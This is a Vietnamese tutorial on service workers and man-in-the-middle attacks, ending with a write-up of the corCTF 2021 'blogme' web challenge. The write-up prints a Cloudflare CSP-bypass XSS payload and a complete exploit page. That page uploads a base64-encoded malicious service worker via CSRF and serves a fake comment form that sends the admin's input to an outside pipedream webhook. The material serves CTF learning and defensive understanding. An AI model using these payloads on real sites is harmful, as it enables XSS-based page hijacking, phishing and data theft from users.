Service worker và Man-in-the-Middle Attack, để hiểu rõ được về chúng thì mình sẽ chia ra từng chủ để nhỏ và cuối cùng sẽ một challenge CTF từ năm 2021 để minh họa.
Service worker (SW) là gì ?
Hoàn cảnh ra đời
Các trình duyệt web sử dụng Javascript như một ngôn ngữ để xử lí các đoạn code bên phía user, nếu html là khung sườn của trang web, css giúp tô điểm cho trang web thì JS góp phần làm cho trang web trở nên sinh động hơn, tương tác hơn với user. Javascript là một “single threaded language”, có nghĩa là nó thực thi các đoạn code theo thứ tự và chỉ khi xong đoạn code phía trước thì mới đến cái tiếp theo.
Mỗi tab trong một trình duyệt web sẽ tương ứng với một JS thread. Và bởi vì nó là single thread nên nếu các tác vụ phải xử lí quá nhiều trên một thread như vậy sẽ dẫn đến thread này bị blocked và tất nhiên sẽ làm ảnh hướng đến perfomance của trang web đó. Service workers (SW) ra đời đã giải quyết được vấn đề này
Service worker
SW chỉ đơn giản là một tệp JS. Một điểm để phân biệt giữa SW và một file JS thông thường đó là SW thì chạy trong nền và điều này cũng góp phần làm giảm đi các tác vụ phải xử lí cho JS thread đã nói ở trên. SW cung cấp các tính năng không yêu cầu giao diện hoặc tương tác với người dùng chẳng hạn như đồng bộ ngầm và push notifications …
SW đóng vai trò như một proxy giữa web application và network, vì thế mà nó có thể intercept requests và xử lí chúng.
service worker
Vòng đời của service worker
SW life cycle
Vòng đời của một service worker bao gồm 3 giai đoạn chính:
- Registration
- Installtion
- Activation
Trước khi bắt đầu sử dụng một service worker ta phải đăng kí cho nó như một background process. Đoạn code minh họa cho việc đăng kí một SW:
1
2
3
4
5
6
7
8
9
10
11
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js', {
scope: '/blog/'
})
.then(function (registration) {
console.log('Service worker registered!');
})
.catch(function (err) {
console.log('Registration failed!');
})
}
Bởi vì không hẳn là trình duyệt nào cũng hỗ trợ SW nên ta sẽ phải kiểm tra trong if
.
Bên cạnh đó ta cũng có thể chỉ định scope
cho nó. Scope
là một khái niệm quan trọng trong SW, nó chỉ định path mà SW này sẽ hoạt động. Trong ví dụ trên scope
được set là /blog/
có nghĩa ta đã giới hạn vùng hoạt động của SW chỉ trong trong phạm vi của thư mục /blog/
.
Một vài điều cần lưu ý về giai đoạn này như sau:
- SW muốn được load thì phải thỏa mãn tính chất same origin.
- Nếu không cấu hình
scope
thì giá trị mặc định của nó là đường dẫn của file JS trongregister()
.
Sau khi hoàn thành đăng kí, server sẽ tải worker này vào background. Và ngay sau khi nó được tải xuống, SW nhận sự kiệnactivate
, thường các lập trình viên sẽ dùng nó để khởi tạo các file tĩnh vào trong cache. Kế đó, SW tiến vào trang thái idle
và quyết định trạng thái kế tiếp sẽ là gì. Hoặc là sẽ terminated
đễ tiết kiệm bộ nhớ hoặc là sẽ xử lí các requests bằng sự kiện fetch
/message
. Tất cả các requests thuộc phạm vi đã cấu hình trong scope
sẽ được xử lí.
Code minh họa cho việc cấu hình sự kiện fetch
trong sw.js như sau:
1
2
3
4
5
6
self.addEventListener('fetch', function (event) {
event.respondWith(caches.match(event.request))
.then(function (response) {
return response || fetch(event.request);
});
});
Nếu một SW được đăng kí thì trang web vẫn sẽ ưu tiên xử dụng cái cũ và đưa cái mới vào waiting
sate. Một khi trang web đóng hoặc được reload thì SW mới được nạp vào sử dụng. Điểm này nên được chú ý khi muốn thực hiện một cuộc tấn công Man-in-the-Middle Attack.
Man-in-the-Middle Attack (MITM) là gì ?
Hồi xưa khi đi học chắc hẳn ai cũng đã từng nhận và đưa thư giùm cho mấy đứa trong lớp đúng không. Hồi đó mình còn chỉnh sửa lại thư của chúng nó cơ 😜. Kiểu tấn công này cũng tương tự dựa trên cái ví dụ mà mình đưa ra đó. Nói một cách “security” hơn về khái niệm của nó thì MITM là một kiểu tấn công bí mật xảy ra khi attacker nhảy vào một phiên giao tiếp giữa user hoặc hệ thống. Attacker sẽ mạo danh cả hai bên và có được quyền truy cập vào thông tin mà hai bên đang cố gắng gửi cho nhau. Attacker có thể chặn, gửi và nhận dữ liệu dành cho cả hai bên, mà không có bên nào biết cho đến khi quá muộn.
Mối liên hệ giữa SW và MITM
Tới đây có thể bạn sẽ thắc mắc “thế thì MITM liên quan cái quái gì đến service worker 🤨 ???”
Mình sẽ đưa ra một ví đụ dơn giản:
- Giả sử một trang web bán hàng bị lỗi stored XSS ở phần comment và có chức năng upload file.
- User muốn đọc tin tức về sản phẩm hay muốn xem profile cá nhân thì cần truy cập tới
http://shopping.com/products
,http://shopping.com/profile
. - Tính năng upload sẽ lưu file của user tại đường dẫn
http://shopping.com/uploads/<filename>
. - Stored XSS xảy ra ở phần comment của các sản phẩm.
Kịch bản tấn công sẽ như sau:
- Attacker sẽ upload 1 file SW -
sw.js
. - Ở phần comment của sản phẩm dùng JS để đăng kí SW
register(http://shopping.com/uploads/sw.js)
. - Trong file
sw.js
này cấu hìnhscope: '/'
và sự kiệnfetch
trả về reponseYOU ARE HACKED
.
Một khi user ấn vào để xem comment của sản phẩm thì vô tình trigger đống JS code -> register SW -> pwned. Lúc này khi user muốn xem profile hay thông tin sản phẩm thì thứ hiển thị chỉ là dòng chữ YOU ARE HACKED
của attacker 😈.
Ở đây mình chỉ đưa ra ví dụ về “Response modification” các bạn có thêm xem thêm tại đây.
Qua ví dụ đơn giản này ta có thể thấy việc attacker lợi dụng service woker, hoạt động như một proxy, và kết hợp với MITM để thực hiện một cuộc tấn công phía người dùng.
blogme - corCTF2021
Challenge này là một cách để thực tế hóa đống lí thuyết nãy giờ. Mình cũng sẽ tiến hành phân tích hướng giải quyết cho nó dựa trên tinh thần học hỏi từ tác giả là chính.
Source code
https://github.com/strellic/my-ctf-challenges/tree/main/corCTF-2021
Overview
overview
Trang web hiển thị một vài post của admin và có các chức năng như Profile
, Your Posts
, Logout
, Comment
.
Profile
: tạo post, upload image file và có thể dùng để set avatar. profileYour Posts
: hiển thị các post đã tạo. your postsComment
: bình luận về một post bằng cách gửi data tới../api/comment/<post id>
. comment
Phân tích
HTML bị escaped ở tất cả các chỗ ngoại trừ post page. Nhưng tác giả có dùng CSP:
1
2
object-src 'none';
script-src 'self' 'unsafe-eval';
Và ở post thứ 3 của admin cũng có để gợi ý:
“wow, a lot of people have signed up and posted stuff! my bandwith was starting to get a little high, but Cloudflare (wink) (NOT SPONSORED) saved the day :D”
Để bypass thì ta có thể thử tra “cloudflare csp bypass unsafe-eval”, tìm được một payload trên tweet. Theo đó, mình nhận ra để áp dụng cách này thì trang web phải nằm trên một cloudfare domain, vì mình không có điều kiện mua domain 😅 nên chắc chỉ dừng lại ở mức phân tích thôi.
post length bị giới hạn chỉ được max là 300 kí tự nên tác giả đã reconstruct lại payload:
1
<form id=_cf_translation><img id=lang-selector name=blobs><output id=locale><script>eval(name)</script></output></form><a data-translate=value></a><script src=/cdn-cgi/scripts/zepto.min.js></script><script src=/cdn-cgi/scripts/cf.common.js></script><script src=/cdn-cgi/scripts/cf.common.js></script>
Nhờ vào eval(name)
ta có thể execute JS code chèn vào từ window.name
.
Đoạn code xử lí file upload thực hiện filter và chỉ nhận image trên server: filter upload file
Ở đây ta nhận thấy nếu user là admin thì sẽ không cần phải check type của file upload nên mục đích là kết hợp với csrf
để upload file.
Admin bot có nhiệm vụ navigate tới /api/comment
sau khi view post của ta, gõ flag vào ô comment và ấn submit.
Sau khi thử tạo một post với nội dung là corCTF{test_flag}
để tự test thì mình nhận ra nội dung đã bị thay đổi, đoạn code đó nằm ở: replace flag comment
Vầy là ta phải nghĩ ra một cách để lấy được nội dung của comment mà không bị server thay đổi giá trị.
Hướng đi của tác giả như sau: force admin bot upload một sw.js
file, file này ta có thể access tới bằng đường dẫn /api/file?id=<file-id>
. Comment page ở đường dẫn /api/comment
cùng với file upload đều thuộc cùng thư mục /api
nên service woker có thể hoạt động trên comment page.
Tác giả tạo một sự kiện fetch
trong sw.js
để ngăn không cho request đi đến server mà tự trả về response nhờ vào SW. Response trả về không phải là /api/comment
ban đầu nữa, mà thay vào đó là một page theo kiểu Phishing, khi admin bot gõ comment và ấn submit thì nội dung của comment sẽ được gửi đến webhook của ta.
Các bước chuẩn bị:
- Một post với content:
<meta http-equiv="refresh" content="0;url=https://exploitpage" />
- Một post dùng để bypass CSP (tạm gọi id của post này là
EVAL_POSTID
) với content:
1
<form id=_cf_translation><img id=lang-selector name=blobs><output id=locale><script>eval(name)</script></output></form><a data-translate=value></a><script src=/cdn-cgi/scripts/zepto.min.js></script><script src=/cdn-cgi/scripts/cf.common.js></script><script src=/cdn-cgi/scripts/cf.common.js></script>
Khai thác:
- Stage 1: gửi admin một url trỏ tới post chứa meta tag -> redirect đến exploit page, tại đây set
window.name
bằng payload dùng để uploadsw.js
, sau đó redirect về lạihttps://blogme.be.ax/post/${EVAL_POSTID}
-> lúc này payload sẽ được executed và gửi id của filesw.js
(SW_FILEID
) đã được upload đến webhook. - Stage 2: register
sw.js
đã uploadregister('https://blogme.be.ax/api/file?id=${SW_FILEID}')
Khai thác
Exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<!DOCTYPE html>
<html>
<body>
<!--
make two pages, one with the meta tag, and the other with the form tag csp bypass
set eval post id to the id of the meta tag
at window.name at the bottom, run stage1 first.
send the post that has the meta redirect to the admin
this sends the file id of the service worker to a webhook, which you can then set as service worker file id.
then, change it to run stage2
your webhook should have the flag!
-->
<!--
<meta http-equiv="refresh" content="0;url=https://THISHTMLFILE" />
-->
<!--
<form id=_cf_translation><img id=lang-selector name=blobs><output id=locale><script>eval(name)</script></output></form><a data-translate=value></a><script src=/cdn-cgi/scripts/zepto.min.js></script><script src=/cdn-cgi/scripts/cf.common.js></script><script src=/cdn-cgi/scripts/cf.common.js></script>
-->
<script>
const EVAL_POSTID = "8d44702a-dc4b-43f4-8651-0a64bc88fb08";
const SW_FILEID = "a944179f-b7eb-4297-a3e3-9548feff8918";
/*
self.addEventListener('fetch', async (e) => {
console.log(e);
if(e.request.url.includes("/api/comment")) {
e.respondWith(new Response(new Blob([`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
<title>blogme</title>
<link rel="stylesheet" href="/assets/bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Lato:wght@400;700&display=swap">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lora">
<link rel="stylesheet" href="/assets/css/styles.css">
</head>
<body>
<nav class="navbar navbar-dark navbar-expand-md textwhite bg-primary text-white navigation-clean">
<div class="container">
<a class="navbar-brand" href="/">blogme</a>
<button data-bs-toggle="collapse" class="navbar-toggler" data-bs-target="#navcol">
<span class="visually-hidden">Toggle navigation</span>
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navcol">
<ul class="navbar-nav ms-auto">
<li class="nav-item"><a class="nav-link" href="/">Home</a></li>
<li class="nav-item"><a class="nav-link" href="/profile">Profile</a></li>
<li class="nav-item"><a class="nav-link" href="/posts">Your Posts</a></li>
<li class="nav-item"><a class="nav-link" href="/api/logout">Logout</a></li>
</ul>
</div>
</div>
</nav>
<div class="container card bg-secondary mt-5 p-0">
<div class="card-header"><h3 class="m-0">Comment</h3></div>
<div class="card-body">
<div class="card-text">Enter your comment below:</div>
<form method="POST" action="https://enx4khh4m6jy.x.pipedream.net/">
<input class="form-control" type="hidden" name="id" value="7213f554-2b98-422a-8416-7a45d6c716be">
<div class="input-group mt-3">
<span class="input-group-text">Comment</span>
<textarea class="form-control" name="text" rows=3 maxlength=150></textarea>
</div>
<input type="hidden" name="_csrf" value="QaJVpRex-Yx3UhVRDCHWKT8GgJwg8P9HkRAM">
<button class="btn btn-primary mt-3 float-end" type="submit">Comment</button>
</form>
</div>
</div>
<script src="/assets/bootstrap/js/bootstrap.min.js"></scr` + `ipt>
<script src="/assets/js/jquery.min.js"></scr` + `ipt>
<script src="/assets/js/script.js"></scr` + `ipt>
</body>
</html>
`], { type: 'text/html' })));
}
return;
});
*/
let stage1 = () => {
fetch("data:application/javascript;base64,c2VsZi5hZGRFdmVudExpc3RlbmVyKCdmZXRjaCcsIGFzeW5jIChlKSA9PiB7CiAgICBjb25zb2xlLmxvZyhlKTsKICAgIGlmKGUucmVxdWVzdC51cmwuaW5jbHVkZXMoIi9hcGkvY29tbWVudCIpKSB7CiAgICAgICAgZS5yZXNwb25kV2l0aChuZXcgUmVzcG9uc2UobmV3IEJsb2IoW2AKCjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDx0aXRsZT5ibG9nbWU8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvYXNzZXRzL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PUxhdG86d2dodEA0MDA7NzAwJmFtcDtkaXNwbGF5PXN3YXAiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9TG9yYSI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9hc3NldHMvY3NzL3N0eWxlcy5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxuYXYgY2xhc3M9Im5hdmJhciBuYXZiYXItZGFyayBuYXZiYXItZXhwYW5kLW1kIHRleHR3aGl0ZSBiZy1wcmltYXJ5IHRleHQtd2hpdGUgbmF2aWdhdGlvbi1jbGVhbiI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgPGEgY2xhc3M9Im5hdmJhci1icmFuZCIgaHJlZj0iLyI+YmxvZ21lPC9hPgogICAgICAgICAgICA8YnV0dG9uIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgY2xhc3M9Im5hdmJhci10b2dnbGVyIiBkYXRhLWJzLXRhcmdldD0iI25hdmNvbCI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0idmlzdWFsbHktaGlkZGVuIj5Ub2dnbGUgbmF2aWdhdGlvbjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXItY29sbGFwc2UiIGlkPSJuYXZjb2wiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IG1zLWF1dG8iPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iLyI+SG9tZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL3Byb2ZpbGUiPlByb2ZpbGU8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9wb3N0cyI+WW91ciBQb3N0czwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL2FwaS9sb2dvdXQiPkxvZ291dDwvYT48L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L25hdj4KCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgY2FyZCBiZy1zZWNvbmRhcnkgbXQtNSBwLTAiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj48aDMgY2xhc3M9Im0tMCI+Q29tbWVudDwvaDM+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC10ZXh0Ij5FbnRlciB5b3VyIGNvbW1lbnQgYmVsb3c6PC9kaXY+CiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSJodHRwczovL2VueDRraGg0bTZqeS54LnBpcGVkcmVhbS5uZXQvIj4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJoaWRkZW4iIG5hbWU9ImlkIiB2YWx1ZT0iNzIxM2Y1NTQtMmI5OC00MjJhLTg0MTYtN2E0NWQ2YzcxNmJlIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIG10LTMiPgogICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0Ij5Db21tZW50PC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJ0ZXh0IiByb3dzPTMgbWF4bGVuZ3RoPTE1MD48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJfY3NyZiIgdmFsdWU9IlFhSlZwUmV4LVl4M1VoVlJEQ0hXS1Q4R2dKd2c4UDlIa1JBTSI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgbXQtMyBmbG9hdC1lbmQiIHR5cGU9InN1Ym1pdCI+Q29tbWVudDwvYnV0dG9uPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSIvYXNzZXRzL2Jvb3RzdHJhcC9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmAgKyBgaXB0PgogICAgPHNjcmlwdCBzcmM9Ii9hc3NldHMvanMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JgICsgYGlwdD4KICAgIDxzY3JpcHQgc3JjPSIvYXNzZXRzL2pzL3NjcmlwdC5qcyI+PC9zY3JgICsgYGlwdD4KPC9ib2R5Pgo8L2h0bWw+CiAgICAgICAgYF0sIHsgdHlwZTogJ3RleHQvaHRtbCcgfSkpKTsKICAgIH0KICAgIHJldHVybjsKfSk7").then(r => r.blob()).then(async b => {
let formData = new FormData();
formData.append("blob", b, "sw.js");
let pfp = await (await fetch("/profile")).text();
let csrf = /\?_csrf=(.*?)"/.exec(pfp)[1];
let response = await fetch("/api/upload/?_csrf=" + encodeURIComponent(csrf), {
method: 'POST',
body: formData
});
navigator.sendBeacon("https://enx4khh4m6jy.x.pipedream.net/", new URLSearchParams(new URL(response.url).search).get("message"));
});
};
let stage2 = (SW_FILEID) => {
navigator.serviceWorker.register(`https://blogme.be.ax/api/file?id=${SW_FILEID}`, {
scope: '/api/comment'
});
};
window.name = "(" + stage1.toString() + `)("${SW_FILEID}");`;
location.href = `https://blogme.be.ax/post/${EVAL_POSTID}`;
</script>
</body>
</html>
Tài liệu tham khảo
https://www.akamai.com/blog/security/abusing-the-service-workers-api
https://betterprogramming.pub/man-in-the-middle-attacks-via-javascript-service-workers-52647ac929a2